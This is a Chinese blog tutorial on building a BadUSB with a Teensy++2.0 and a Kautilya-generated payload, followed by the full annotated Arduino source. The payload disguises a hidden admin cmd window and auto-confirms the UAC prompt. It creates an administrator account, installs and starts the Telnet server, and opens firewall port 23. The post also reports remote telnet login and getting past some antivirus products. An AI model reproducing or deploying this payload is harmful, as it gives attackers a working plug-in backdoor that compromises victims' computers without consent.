badusb_payload(一)添加管理员用户

来源:互联网 发布:洛阳广电网络客服电话 编辑:程序博客网 时间:2024/05/16 15:08

- 0x01前言

制作badusb的工具中,arduino用于将代码烧录到teensy++2.0上,其实这里我们用到的不是arduino,而是Arduino IDE, 真正的arduino是一块板子。。Teensyduino是arduino的一款插件,用于将代码烧录到Teensy++2.0上。Kautilya是12年黑客大会上公布的一款生成payload的工具,不晓得除了用在badusb上还能用在哪。若知道可以分享一下。

- 0x02制作流程

首先启动Kautilya, 选择1.Payloads for Windows.

这里写图片描述

然后选择5.Manage 再选择5,生成一个添加管理员用户和开启telent服务的payload

这里写图片描述

然后输入用户名和密码,它会在kautilya文件下生成payload文件。 然后启动teensyduino,
按照上篇文章写的配置好,最后启动arduino, 在tools中选择好teensy++2.0,
并选择usb类型是keyboard+mouse+joystick, 即把teensy++2.0伪装成键盘鼠标。

这里写图片描述

把payload直接拖进来即可,插上teensy++2.0,点击左上角的√,会生成一个小页面,写着让你按下teensy++2.0上面的reboot(重启)。按下后即完成烧录。成功后会显示 Reboot OK。

这里写图片描述

badusb已经制作完成,插入windows的电脑中即可添加管理员用户。

这里写图片描述

查看win7开启的服务,telnet服务已开启

这里写图片描述

使用kali进行telnet登录

这里写图片描述

成功!!

经测试,在win7上完美运行,可以远程telnet登录。win8,win10如果默认使用中文版的话,语言默认是中文,需要在payload中加入两段代码改变语言(详情看下面的payload中)。而且,win8默认telnet服务端和客户端功能没有添加, 需要在控制面板中添加功能后才行。

这里写图片描述

测试通过, 可以telnet登录win8。

win10则取消telnet服务端这一功能, 即只能作为telnet客户端,不能作为服务端。故无法telnet登录win10。

这里写图片描述

win_xp在启动cmd时,除了按下 win 键外,还要按下 R 键, 代码中有强调。而且发送完 R 键后, 必须清理缓存,否则出现

这里写图片描述

总的来说,payload非常不错,特别是绕过UAC检查,使用管理员身份启动cmd。直接输入cmd启动的是当前用户权限的cmd

这里写图片描述

代码中强制启动管理员cmd并绕过

这里写图片描述
这里写图片描述

个人觉得本身payload兼容性不是很好,没有注意中文和xp, 没办法,老外不会考虑中文。。。XP也老了。。。。。

win10 在使用

cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"

发生一些问题, 直接换做 cmd 就可以了

至于杀毒软件的问题,测试时绕过了 小红伞 和 AVG 一流杀毒软件,但却被360拦截下来。。。猜想添加用户并不是病毒行为,杀毒软件并没有把这种行为设置为黑名单,但360监控着系统,会弹出一个像 UAC 的确认页面,至于能不能像绕过 UAC 似的绕过360, 还没有测试。即使通过,则兼容性变得更差。。毕竟多按几个键会有影响。。至于其他 payload, 它们的行为会不会被检查还要做测试。

- 0x03payload代码分析
单单会使用是不够,我们还应该研究一些它的payload代码,百度并没有找到相关的教程。。大神么貌似不屑于传授。。只好自己慢慢分析。
首先, 烧录软件arduino ide使用的是一种全新的语言,跟c++java很类似,这种语言有专门的教程,但是这里的payload用到的仅仅是键盘,鼠标之类的很小一部分,个人觉得没有必要专门学习。
结构上,这种语言分为两部分

setup(){    ...    ...}
loop(){    ...    ...}

首先会执行setup()的代码,而loop()里的程序会不断循环执行。
下面是添加管理员用户和开启talent服务的payload,注释是我自己加的。

#define TEENSY2#ifdef TEENSY2    #include<usb_private.h>#endif//首先定义一些字符串,即添加用户的cmd命令。# define PAYLOAD_USER_ADD "net user aaa aaa /add"# define PAYLOAD_GROUP_ADD "net localgroup Administrators aaa /add"# define PAYLOAD_TELNETGROUP_ADD "net localgroup TelnetClients aaa /add"//主程序开始void setup(){//延迟3秒,刚插入usb口, 电脑有个识别的时间。//后面代码中还有很多延迟的代码,主要是考虑到在实际使用时电脑可能在进行//其他的操作,受用延迟保证代码的执行//但是在测试中,因为只有badusb在使用,所以感觉延迟很大,这个具体可以//视情况而定。 delay(3000);// 函数_判断capslock是否开启,并关闭capslock.// 具体实现过程请看后面的函数代码。  wait_for_drivers(2000);// 最小化所有窗口// 具体实现过程请看后面的函数代码。  minimise_windows();  delay(500);// 调用函数cmd_admin() // 这个函数是主要内容,用于启动管理员的cmd,如果不成功,则一直循环执行  while(!cmd_admin(3,500))  {// 该函数其实是三次调用minimise_windows(),即// 最小化所有窗口。// 具体实现过程请看后面的函数代码。  reset_windows_desktop(2000);  }// 核心函数_添加管理员用户// 具体实现过程请看后面的函数代码。add_user();//启动Telent服务 Keyboard.println("pkgmgr /iu:\"TelnetServer\"");delay(10000);Keyboard.println("reg add \"HKLM\\System\\CurrentControlSet\\Services\\TlntSvr\" /v Start /t REG_DWORD /d 2 /f");delay(2000);Keyboard.println("sc config TlntSvr start= auto");delay(2000);Keyboard.println("sc start TlntSvr");delay(2000);Keyboard.println("netsh firewall set portopening protocol = tcp port = 23 mode = enable");delay(3000);Keyboard.println("exit");}// setup()函数结束, 鉴于loop()为空,整个PAYLOAD也执行完毕。//重复执行的代码,这里为空void loop(){}// 函数_添加用户void add_user(){delay(2000);//这里模拟键盘输入都是用的 keyboard。//这里将前面定义的三条字符串输入进去。//即添加管理员。Keyboard.println(PAYLOAD_USER_ADD);delay(2000);Keyboard.println(PAYLOAD_GROUP_ADD);delay(1000);Keyboard.println(PAYLOAD_TELNETGROUP_ADD);delay(1000);}// 函数_判断capslock是否开启并关闭void wait_for_drivers(int sleep){//函数 is_cao_on()返回capslock状态// 具体实现过程请看后面的函数代码。bool CapsLockTrap = is_caps_on();while(CapsLockTrap == is_caps_on()){//按下 capslock//这里模拟键盘输入首先设定输入内容,send_key(), 存储在缓冲区中//然后使用send_now()发送命令Keyboard.set_key1(KEY_CAPS_LOCK);Keyboard.send_now();delay(200);//释放//每次send后都要释放掉存储在缓冲区的设定的内容。//一对一释放,使用了 set_modifier 就要用 set_modifier(0)//          使用了 set_key1 就要用 set_key1(0)Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();delay(500);delay(sleep);}//按下 capslockKeyboard.set_key1(KEY_CAPS_LOCK);Keyboard.send_now();delay(200);//释放Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();delay(500);delay(sleep);}//两个小函数,通过键盘指示灯keyboard_leds判断capslock状态//函数_键盘指示灯(caplocks) 是否开启capslockint ledkeys(void) {return int(keyboard_leds);}//函数_判断capslock是否开启bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}//主要函数_启动具有管理员权限的cmdbool cmd_admin(int reps, int millisecs){// 确保capslock关闭make_sure_capslock_is_off();delay(700);//按下 Win 键, MODIFIERKEY_RIGHT_GUI是 win 键Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);/*     xp系统添加这一行代码,用于按下 R 键*///Keyboard.set_key1(KEY_R);Keyboard.send_now();//释放Keyboard.set_modifier(0);/*     xp系统添加这一行代码,用于清空缓存,否则出现按下一堆 RRRRR....*///Keyboard.set_key1(0);Keyboard.send_now();delay(3000);/*    默认是中文输入法添加三行代码(win8, win10)*///Keyboard.set_modifier(MODIFIERKEY_SHIFT);//Keyboard.send_now();//delay(2000);//最小化启动cmd//这里启动的cmd窗口尽可能小,背景色也有调整,尽可能不让发现。Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");delay(2000);/***   启动UAC检查,win vista之后默认开启UAC检查,虽然有些用户关闭了,但   这样兼容性不够好,所以这里使用 ctrl+shift+enter 键启动UAC检查   即即使关闭UAC,这里也会开启UAC检查,若没有关闭UAC,则正常进行UAC   检查。保证良好的兼容性。***///首先按下 Ctrl 键并发送 ,但不懂为什么按下 ctrl,//去掉这条命令后正常运行Keyboard.set_modifier(MODIFIERKEY_CTRL);Keyboard.send_now();//按下 Ctrl 和 Shift 和 Enter, 启动UAC检查。Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);Keyboard.send_now();// 按下 EnterKeyboard.set_key1(KEY_ENTER);Keyboard.send_now();delay(200);//释放Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();delay(500);delay(7000);// 弹出UAC检查后选择 是 ,并确认。// 具体实现过程请看后面的函数代码。send_left_enter();delay(4000);/*    默认是中文输入法添加三行代码(win8, win10)*///Keyboard.set_modifier(MODIFIERKEY_SHIFT);//Keyboard.send_now();//delay(2000);//这里函数创建一个vbs脚本,用于关闭 capslockcreate_click_capslock_win();//判断capslock, 转换为小写check_for_capslock_success_teensy(reps,millisecs);//这个payload中,反反复复检查多次capslock,也使用了多种方法。。。}/*函数cmd()并没有调用,无法解释。。。。    看里面内容和上一个函数cmd_admin()功能类似,但是并没有调用    去掉整个函数后不影响正常使用    但还是做了些注释*/bool cmd(int reps, int millisecs, char *SomeCommand){make_sure_capslock_is_off();delay(700);// Win 和 R 并发送,启动cmdKeyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);Keyboard.set_key1(KEY_R);Keyboard.send_now();// 释放delay(500);Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();Keyboard.print(SomeCommand);Keyboard.set_key1(KEY_ENTER);Keyboard.send_now();Keyboard.set_key1(0);Keyboard.send_now();delay(3000);//函数_创建一个vbs脚本,用于关闭 capslockcreate_click_capslock_win();//判断capslock, 转换为小写check_for_capslock_success_teensy(reps,millisecs);}// 不知有什么用的函数cmd()结束。// 函数_capslock 判断大小写void make_sure_capslock_is_off(void){if (is_caps_on()){delay(500);// 转化为小写并发送Keyboard.set_key1(KEY_CAPS_LOCK);Keyboard.send_now();delay(200);delay(700);// 释放Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();delay(500);delay(700);}}//创建一个vbs脚本,用于关闭 capslockvoid create_click_capslock_win(){Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs");delay(400);Keyboard.println("wscript %temp%\\capslock.vbs");delay(2000);}// 函数_用于检查capslock状态并关闭bool check_for_capslock_success_teensy(int reps, int millisecs){unsigned int i = 0;do{delay(millisecs);if (is_caps_on()){make_sure_capslock_is_off();delay(700);return true;}i++;}while (!is_caps_on() && (i<reps));return false;}// 最小化所有窗口 win + Mvoid minimise_windows(void){// 发送 win + MKeyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);Keyboard.set_key1(KEY_M);Keyboard.send_now();delay(300);//释放Keyboard.set_modifier(0);Keyboard.set_key1(0);Keyboard.send_now();delay(500);delay(300);}//三次调用最小化窗口函数void reset_windows_desktop(int sleep){delay(1000);minimise_windows();delay(sleep);minimise_windows();delay(sleep);minimise_windows();delay(200);}// 在弹出的UAC检查中选择 是 并确认void send_left_enter(){  delay(1000);  // 选择 “是”  Keyboard.set_key1(KEY_LEFT);  Keyboard.send_now();  delay(100);  Keyboard.set_key1(0);  Keyboard.send_now();// 按下确认  Keyboard.set_key1(KEY_ENTER);  Keyboard.send_now();  delay(100);  Keyboard.set_key1(0);  Keyboard.send_now();  }

- 0x04后记
整个payload思路很简单,操作也不难。改掉usb启动的标识符,让操作系统认为这是一个键盘和鼠标的usb设备,然后输入预先设定好的命令,插入usb即可执行命令。
因为测试时为了调试等原因,延迟开的比较大,实际应用要自行设定合适值。
至于默认中文输入法的问题,其实加上那两段代码并不影响默认是英文输入法,推荐还是加上,增强兼容性。 毕竟作者不会考虑中文问题,自然不会在代码里有所判断。xp的 r 键, 只有xp才会需要, 要看实际情况了。

0 0
原创粉丝点击